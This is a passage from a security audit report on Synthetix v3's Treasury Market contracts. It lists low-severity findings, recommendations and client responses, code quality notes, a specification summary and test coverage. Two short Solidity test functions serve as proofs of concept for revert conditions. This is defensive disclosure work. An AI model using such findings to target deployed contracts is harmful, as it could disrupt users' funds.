<h3 id="recommendation-12">Recommendation</h3>
A separate <code>onlyTreasury</code> access modifier should be introduced, allowing the Treasury to withdraw and burn USD to itself. The <code>onlyOwner</code> permission should be assigned to the protocol owner multi-sig and not the Treasury.
<h3 id="client-response-12">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/a6f50bae185886b9e80840bc4d49ea2e4496fd2d">a6f50ba</a>.
<a name="IO-SIP420-010"></a><h2 id="io-sip420-010-large-accounts-cannot-unsaddle" class="break-before">IO-SIP420-010 Large accounts cannot unsaddle</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L248">TreasuryMarket.sol#L248</a></td>
</tr>
</tbody>
</table>
During <code>unsaddle()</code>, additional debt equal to <code>neededToRepay</code> is distributed to the vault via <code>withdrawMarketUsd()</code>. If during <code>unsaddle()</code>, <code>vaultDebt + neededToRepay</code> exceeds the liquidation threshold, an account will not be able to unsaddle even if the vault's debt would be less than the liquidation threshold after rebalancing.
The following proof of concept illustrates this issue:
<pre tabindex="0" class="chroma"><code>function test_unsaddleWhale() public {
 market.saddle(accountId);
 v3System.delegateCollateral(
 accountId + 1,
 poolId,
 address(collateralToken),
 50 ether,
 1 ether
 );
 market.saddle(accountId + 1);

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), accountId + 1);
 market.unsaddle(accountId + 1); // Reverts
}
</code></pre><h3 id="recommendation-13">Recommendation</h3>
An alternative approach would be to change <code>AssociateDebtModule::associateDebt(...)</code> to accept a signed value for the amount of debt assigned to the specified account. This would allow the debt to be directly reduced, avoiding the need to call <code>withdrawMarketUsd()</code> or <code>burnUsd()</code>.
<h3 id="update">Update</h3>
The changes introduced to remediate <a href="#IO-SIP420-001">IO-SIP420-001</a> decreased the likelihood of this issue occurring. However, as <code>withdrawMarketUsd</code> decreases the market's credit capacity, it is possible that the market's <code>creditCapacity</code> becomes less than zero when unsaddling. For very large accounts, this will cause a <code>CapacityLocked</code> revert.
<h3 id="client-response-13">Client response</h3>
The risk was deemed acceptable given the proportional size of the account needed to encounter this revert.
<a name="IO-SIP420-011"></a><h2 id="io-sip420-011-treasury-can-mint-more-than-target-c-ratio" class="break-before">IO-SIP420-011 Treasury can mint more than target C-ratio</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L363">TreasuryMarket.sol#L363</a></td>
</tr>
</tbody>
</table>
If a side market has a significant spike in <code>reportedDebt</code> before the Treasury withdraws a substantial amount of USD, the vault's collateralization ratio can fall below the target collateralization ratio.
<h3 id="recommendation-14">Recommendation</h3>
The vault's debt chain should be updated to prevent the treasury market from creating more debt than permitted. This can be achieved by calling <code>rebalancePool()</code> at the start of <code>mintTreasury()</code>.
<h3 id="client-response-14">Client response</h3>
The risk was deemed acceptable as its realisation would require the Treasury council to act maliciously during a period of volatility in the side market's debt. The issue is further mitigated as anyone can call <code>rebalance()</code>, minimizing the excess capacity the market would have to issue USD against.
<a name="IO-SIP420-012"></a><h2 id="io-sip420-012-last-account-unable-to-unsaddle" class="break-before">IO-SIP420-012 Last account unable to unsaddle</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L233">TreasuryMarket.sol#L233</a></td>
</tr>
</tbody>
</table>
The last account to call <code>unsaddle()</code> will always encounter a "no surplus collateral to fund exit" revert.
<h3 id="recommendation-15">Recommendation</h3>
The market can be initialized with an account that delegates a minimal amount of collateral, ensuring that the last delegator can exit the system.
<h3 id="client-response-15">Client response</h3>
The Treasury will be responsible for ensuring the system can unwind if necessary.
<a name="IO-SIP420-013"></a><h2 id="io-sip420-013-incorrect-target-debt" class="break-before">IO-SIP420-013 Incorrect target debt</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L163">TreasuryMarket.sol#L163</a></td>
</tr>
</tbody>
</table>
The assumption that when <code>artificialDebt == 0</code>, it is the first account to be saddled does not hold under all conditions. If side markets incur significant debt, <code>artificialDebt</code> could be reset to 0. The next account calling saddle will then encounter a revert, as the target debt will be calculated based on the vault's collateral, not the account's collateral.
For a specific range of values, the calculation will not revert, but could result in the account having a collateralization ratio just above the liquidation threshold.
<h3 id="recommendation-16">Recommendation</h3>
Instead of considering whether <code>artificialDebt == 0</code>, the logic should be adapted for when <code>vaultCollateralValue == accountCollateralValue</code>.
<h3 id="client-response-16">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/6be4931f76160469020605304785be55b242d2e5">6be4931</a>. A <code>totalSaddledCollateral</code> storage variable was introduced, and the logic was updated to use it instead of <code>artificialDebt</code>.
<a name="IO-SIP420-014"></a><h2 id="io-sip420-014-missing-validation" class="break-before">IO-SIP420-014 Missing validation</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L135">TreasuryMarket.sol#L135</a></td>
</tr>
</tbody>
</table>
The protocol owner can set the target collateralization ratio below the liquidation ratio, which could result in the vault becoming liquidatable.
<h3 id="recommendation-17">Recommendation</h3>
Add validation to <code>setTargetCRatio()</code> to ensure that the ratio is greater than the collateral type's liquidation ratio, e.g.
<pre tabindex="0" class="chroma"><code>ratio >= v3System.getCollateralConfiguration(collateralType).liquidationRatioD18
</code></pre><h3 id="client-response-17">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.
<a name="IO-SIP420-029"></a><h2 id="io-sip420-029-deposit-rewards-not-nullified" class="break-before">IO-SIP420-029 Deposit rewards not nullified</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L369">TreasuryMarket.sol#L369</a></td>
</tr>
</tbody>
</table>
When restoring a position, the position’s debt is set as a loan amount through <code>adjustLoan()</code> after the account has been saddled. However, the deposit rewards configured on saddling are not nullified in <code>adjustLoan()</code>. As such, restored positions would have rewards accrued in addition to a decaying loan amount.
<h3 id="recommendation-18">Recommendation</h3>
Any configured rewards should be removed in <code>adjustLoan()</code> when increasing the loan amount. This issue does not currently pose a risk as deposit rewards are not yet configured. However, this fix should be implemented if the ability to increase a loan amount is to be kept in the contract long-term.
<h3 id="client-response-18">Client response</h3>
Deposit rewards removed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.
<a name="IO-SIP420-030"></a><h2 id="io-sip420-030-auxtokeninfo-not-cleared-on-unsaddle" class="break-before">IO-SIP420-030 AuxTokenInfo not cleared on unsaddle</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L250">TreasuryMarket.sol#L250</a></td>
</tr>
</tbody>
</table>
An account’s <code>AuxTokenInfo</code> mapping entry is not cleared when it’s unsaddled. Should the account re-saddle with debt, this would result in the previous <code>timeInsufficient</code> value being applied and the loan repayment period being affected.
Furthermore, depending on when staked tokens are returned to users, the token amount stored in <code>AuxTokenInfo</code> may no longer be accurate on the account re-saddling, potentially resulting in the account debt being decayed while the account is insufficiently staked.
<h3 id="recommendation-19">Recommendation</h3>
The <code>AuxTokenInfo</code> mapping entry for an account should be cleared when it’s unsaddled.
<h3 id="client-response-19">Client response</h3>
Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2373/commits/e6b5a6f9d65719d7c637b3f84fbc58faccfe66b1">e6b5a6f</a>.
<a name="IO-SIP420-031"></a><h2 id="io-sip420-031-vested-rewards-dos" class="break-before">IO-SIP420-031 Vested rewards DoS</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L447">TreasuryMarket.sol#L447</a></td>
</tr>
</tbody>
</table>
The owner can remove the reward configuration of a token, preventing accounts from withdrawing rewards already vested.
<h3 id="recommendation-20">Recommendation</h3>
<code>setDepositRewardConfigurations()</code> should validate that <code>availableDepositRewards</code> for a token is zero before removing it from the list.
<h3 id="client-response-20">Client response</h3>
Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.
<a name="IO-SIP420-032"></a><h2 id="io-sip420-032-zero-duration-rewards" class="break-before">IO-SIP420-032 Zero duration rewards</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L602">TreasuryMarket.sol#L602</a></td>
</tr>
</tbody>
</table>
If a reward duration is zero, unsaddling will revert due to a division by zero in <code>_repaymentPenalty()</code>. This is due to <code>loanCompletionPercentage</code> being set to zero, rather than <code>1 ether</code>, when the duration is zero.
This issue does not affect loans, as a <code>duration</code> of zero would result in a loan that never decays and is correctly handled by <code>adjustLoan()</code>
If rewards are zero-duration, atomic saddling and unsaddling should not be possible to farm rewards. It is worth adding an explicit test for this scenario:
<pre tabindex="0" class="chroma"><code>function test_rewardsWithZeroDuration() public {
 bytes32[] memory parents = new bytes32[](0);
 ITreasuryMarket.DepositRewardConfiguration[] memory dcr = new ITreasuryMarket.DepositRewardConfiguration[](2);
 dcr[0] = ITreasuryMarket.DepositRewardConfiguration({
 token: address(collateralToken),
 power: 1,
 duration: 0,
 percent: 0.2 ether,
 valueRatioOracle: NodeModule(0x83A0444B93927c3AFCbe46E522280390F748E171).registerNode(
 NodeDefinition.NodeType.CHAINLINK, abi.encode(address(mockAggregator), uint256(0), uint8(18)), parents
 ),
 penaltyStart: 1.0 ether,
 penaltyEnd: 0.5 ether
 });
 dcr[1] = ITreasuryMarket.DepositRewardConfiguration({
 token: address(usdToken),
 power: 2,
 duration: 86400,
 percent: 0.2 ether,
 valueRatioOracle: NodeModule(0x83A0444B93927c3AFCbe46E522280390F748E171).registerNode(
 NodeDefinition.NodeType.CHAINLINK, abi.encode(address(mockAggregator), uint256(0), uint8(18)), parents
 ),
 penaltyStart: 0.0 ether,
 penaltyEnd: 0.0 ether
 });

 vm.prank(market.owner());
 market.setDepositRewardConfigurations(dcr);

 market.saddle(accountId);


 v3System.delegateCollateral(accountId+1, poolId, address(collateralToken), 4 ether, 1 ether);

 uint256 availableDepositRewards = market.availableDepositRewards(address(collateralToken));
 market.saddle(accountId+1);

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), accountId+1);
 market.unsaddle(accountId+1);

 assertEq(market.availableDepositRewards(address(collateralToken)), availableDepositRewards);

}
</code></pre><h3 id="recommendation-21">Recommendation</h3>
<code>_repaymentPenalty()</code> should set <code>loanCompletionPercentage</code> to <code>1 ether</code> when the loan duration is zero.
<h3 id="client-response-21">Client response</h3>
Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/bf643ad495d761dce163ddd6327a7c67a46bcc87">bf643ad</a>.
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
Code improvement suggestions without security implications are listed below.
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>IO-SIP420-015</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L189">VaultModule.sol#L189</a></td>
<td>The comment does not match the code, as <code>updateAccountDebt()</code> does not perform any collateralization ratio checks.</td>
</tr>
<tr>
<td>IO-SIP420-016</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol#L28">ITreasuryMarket.sol#L28</a></td>
<td>Incorrect spelling, <code>c-ratioi</code> should be <code>c-ratio</code>.</td>
</tr>
<tr>
<td>IO-SIP420-017</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L302">TreasuryMarket.sol#L302</a></td>
<td>Incomplete comment.</td>
</tr>
<tr>
<td>IO-SIP420-018</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L137">TreasuryMarket.sol#L137</a></td>
<td>Incomplete comment.</td>
</tr>
<tr>
<td>IO-SIP420-019</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol">ITreasuryMarket.sol</a></td>
<td><code>adjustLoan()</code> function not documented in interface</td>
</tr>
<tr>
<td>IO-SIP420-020</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L272">TreasuryMarket.sol#L272</a></td>
<td>Consider renaming the <code>targetDebt</code> parameter of the <code>repaymentPenalty()</code> function to <code>targetLoan</code> to avoid confusion with the other <code>targetDebt</code> variable used elsewhere in the contract</td>
</tr>
<tr>
<td>IO-SIP420-021</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
<td>The <code>_verifyPoolCratio()</code> is not present in <code>migrateDelegation()</code>. This would allow an account to migrate to a liquidatable vault.</td>
</tr>
<tr>
<td>IO-SIP420-022</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L154">TreasuryMarket.sol#L154</a></td>
<td>When calling saddle on an account that has not delegated any collateral to the vault, a division by zero revert will be encountered. A more suitable revert should be used instead.</td>
</tr>
<tr>
<td>IO-SIP420-023</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L182">TreasuryMarket.sol#L182</a></td>
<td>Introduce a variable to store the result of <code>targetDebt - accountDebt</code>.</td>
</tr>
<tr>
<td>IO-SIP420-024</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
<td>Refactor <code>repaymentPenalty</code> and <code>_loanAmount</code> to have pure internal implementations. This will significantly reduce the number of repeated <code>SLOADs</code> and allow more thorough modeling of the calculations.</td>
</tr>
<tr>
<td>IO-SIP420-033</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket.sol#L440-L446</a></td>
<td>An event should be emitted on overriding a loan duration through <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket::setOverrideLoanDuration()</a> similar to other setter functions in the contract.</td>
</tr>
<tr>
<td>IO-SIP420-034</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/interfaces/ITreasuryMarket.sol">ITreasuryMarket.sol</a></td>
<td>The errors and events related to deposit rewards can be removed from <code>ITreasuryMarket.sol</code>.</td>
</tr>
<tr>
<td>IO-SIP420-035</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L206-L207">TreasuryMarket.sol#L206-L207</a></td>
<td>With the removal of the deposit rewards <code>else</code> branch, the two <code>if</code> statements on <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L206-L207">TreasuryMarket.sol#L206-L207</a> can be combined to improve code readability.</td>
</tr>
<tr>
<td>IO-SIP420-036</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L219">TreasuryMarket.sol#L219</a></td>
<td><code>config.amounts.length</code> can be stored in a memory variable prior to the <code>for</code> loop on <a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L217">TreasuryMarket.sol#L217</a> to avoid doing an SLOAD on every loop</td>
</tr>
<tr>
<td>IO-SIP420-037</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L376-L415">TreasuryMarket.sol#L376-L415</a></td>
<td><code>auxTokenInfo[accountId]</code> should be loaded into a memory variable at the beginning of <code>TreasuryMarket::reportAuxToken()</code>. All updates can then be performed in memory before being committed back to storage at the end of the function.</td>
</tr>
<tr>
<td>IO-SIP420-038</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L378">TreasuryMarket.sol#L378</a></td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L378">TreasuryMarket.sol#L378</a> should revert instead of returning to mitigate against cases where a deposit is made in the staking contract for an account that is not saddled or has no loan.</td>
</tr>
<tr>
<td>IO-SIP420-039</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L678">TreasuryMarket.sol#L678</a></td>
<td>The <code>UpdateAuxTokenRequirement</code> event should be extended to include the <code>resetTime</code> value.</td>
</tr>
<tr>
<td>IO-SIP420-040</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L215">TreasuryMarket.sol#L215</a></td>
<td>The calculation of <code>rewardAmount</code> should make use of the <code>DecimalMath</code> library already used by the contract.</td>
</tr>
<tr>
<td>IO-SIP420-041</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L118">TreasuryMarket.sol#L118</a></td>
<td>The comparison <code>(-artificialDebt > int256(depositedDebt))</code> should be rearranged to improve readability, as shown <a href="https://gist.github.com/iosiro-security/eb2eb21c1c7f5e017012a7c205d84690">here</a></td>
</tr>
<tr>
<td>IO-SIP420-042</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L37">TreasuryMarket.sol#L37</a></td>
<td><code>MIN_DELEGATION_TIME</code> is never used and can be removed. The commented out line of code at L94 should also be removed.</td>
</tr>
<tr>
<td>IO-SIP420-043</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L112">TreasuryMarket.sol#L112</a></td>
<td>The comment at L112 should be moved to the second if block.</td>
</tr>
<tr>
<td>IO-SIP420-044</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
<td>If an account is liquidated, its <code>saddledCollateral[accountId]</code> will not be reset, which could cause issues with saddling and unsaddling. This is extremely unlikely, as the debt ratio of all the accounts should be the same, and it should not be possible to liquidate separate accounts but only the vault. To allow the market to operate if a vault liquidation were to occur, the <code>totalSaddledCollateral</code> and <code>saddledCollateral</code> mappings could be changed to be indexed by the vault epoch.</td>
</tr>
</tbody>
</table>
<h2 id="client-response-22">Client response</h2>
<ul>
<li>IO-SIP420-015: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.</li>
<li>IO-SIP420-016: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-017: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-018: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-019: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.</li>
<li>IO-SIP420-020: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/7d6f58ddbfb69fdde4f60fb2f3f50d6b3a471419">7d6f58d</a>.</li>
<li>IO-SIP420-021: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.</li>
<li>IO-SIP420-022: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-023: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-024: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/cae0396dc2d22c482ce38372269b1841abff609a">cae0396</a>.</li>
<li>IO-SIP420-033: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b87b0cf3047c562eb8c6506c1bf5ce5bfd97668d">b87b0cf</a>.</li>
<li>IO-SIP420-034: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/1c5e3b385495b8386df8447cdf162ffcff9eef6a">1c5e3b3</a>.</li>
<li>IO-SIP420-035: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/1c5e3b385495b8386df8447cdf162ffcff9eef6a">1c5e3b3</a>.</li>
<li>IO-SIP420-036: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.</li>
<li>IO-SIP420-037: Will not fix.</li>
<li>IO-SIP420-038: Synthetix intends to allow non 420 saddlers to stake in the 420 staking contract</li>
<li>IO-SIP420-039: Will not fix.</li>
<li>IO-SIP420-040: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li>IO-SIP420-041: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li>IO-SIP420-042: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li>IO-SIP420-043: Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/f89cb5f9224f7acf719d63c3138905133bc63e96">f89cb5f</a>.</li>
<li>IO-SIP420-044: Acknowledged and will fix at a later date, as the required conditions are improbable.</li>
</ul>
<h1 id="specification">Specification</h1>
The following section outlines the system's intended functionality at a high level, based on its implementation. Any perceived points of conflict with the <a href="https://github.com/Synthetixio/SIPs/blob/4f7db44c5113b010976eb90721e28761e211daee/content/sips/sip-420.md">SIP-420</a> specification, or undocumented specification changes since the SIP was written, should be highlighted with the auditing team to determine the source of the discrepancy.
Synthetix introduced the Treasury Market, a new market that allowed users who had delegated collateral to a treasury pool to participate by saddling their accounts. Changes were made to the core system's Vault Module contract to allow existing stakers to migrate their delegation from other pools to the treasury pool and saddle their accounts.
Saddling allowed the protocol to manage any existing debt stakers had through a loan jubilee, where the debt would be forgiven over time, subject to certain conditions. Furthermore, the protocol's treasury could mint USD against the delegated collateral and use it to generate yield for market participants. Consequently, the market's reported debt was based on artificial debt and the market's total deposited collateral value. The artificial debt was primarily set based on a target c-ratio, which is configured through an only-owner function, and rebalanced on actions such as saddling and unsaddling.
<h2 id="saddling-unsaddling--debt-decay">Saddling, unsaddling & debt decay</h2>
Anyone can saddle an account by calling the <code>saddle()</code> function on the Treasury Market contract with the <code>accountId</code>. The function verifies that the associated account has delegated collateral to the Treasury Pool and hence can enter this market. If the account had debt when it was migrated into the Treasury Pool, this debt would also be saddled, with the function verifying that the account's c-ratio is not less than the market's set target c-ratio. Debt can also only be saddled the first time this function is called for an account.
The importance of executing delegate and saddle operations atomically was highlighted during the audit. If the market is rebalanced before a delegator's account has been saddled, the account will unfairly be saddled with a significant loan. Any protocols or frontends integrating with the Treasury Market should take note of this. The Core Contributors confirmed that the Synthetix frontend will use a multicall contract to ensure all actions are executed atomically.
Accounts saddled with debt could have their debt forgiven over time using a polynomial debt decay function. This debt decay would only be applicable if the account had staked a configurable proportion of its debt as sUSD in a treasury rewards staking contract for the duration of the debt decay. The rewards staking contract only allowed deposits, with Synthetix intending to return staked sUSD to the stakers out of band from the protocol's treasury.
Account owners can only unsaddle if their debt has fully decayed and been forgiven or repaid. If they chose to repay their debt before it was fully decayed, a penalty is applied. The penalty is calculated based on the amount of debt that has decayed and a penalty rate.
<h2 id="treasury-yield">Treasury yield</h2>
Synthetix's Treasury can mint USD up to the current artificial debt and use the funds outside of Synthetix to generate yield. The protocol can also deposit USD back into the Treasury Market.
<h2 id="deposit-rewards">Deposit rewards</h2>
The Treasury Market initially included a deposit reward mechanism for accounts saddled with no debt. However, this functionality was later removed in favor of distributing rewards through other mechanisms outside the market.
<h1 id="test-coverage-report">Test coverage report</h1>
The coverage report of the provided tests as of the final day of the audit is given below.
<table>
<thead>
<tr>
<th>File</th>
<th>% Lines</th>
<th>% Statements</th>
<th>% Branches</th>
<th>% Funcs</th>
</tr>
</thead>
<tbody>
<tr>
<td>TreasuryMarket.sol</td>
<td>100.00% (233/233)</td>
<td>100.00% (257/257)</td>
<td>100.00% (41/41)</td>
<td>100.00% (29/29)</td>
</tr>
<tr>
<td>TreasuryStakingRewards.sol</td>
<td>83.33% (10/12)</td>
<td>88.89% (8/9)</td>
<td>100.00% (0/0)</td>
<td>66.67% (2/3)</td>
</tr>
</tbody>
</table>
Overall, the coverage was sufficient for the contracts under review.

</article>
</main>
</div>

‍

Secure your system.

Request a service

Start Now →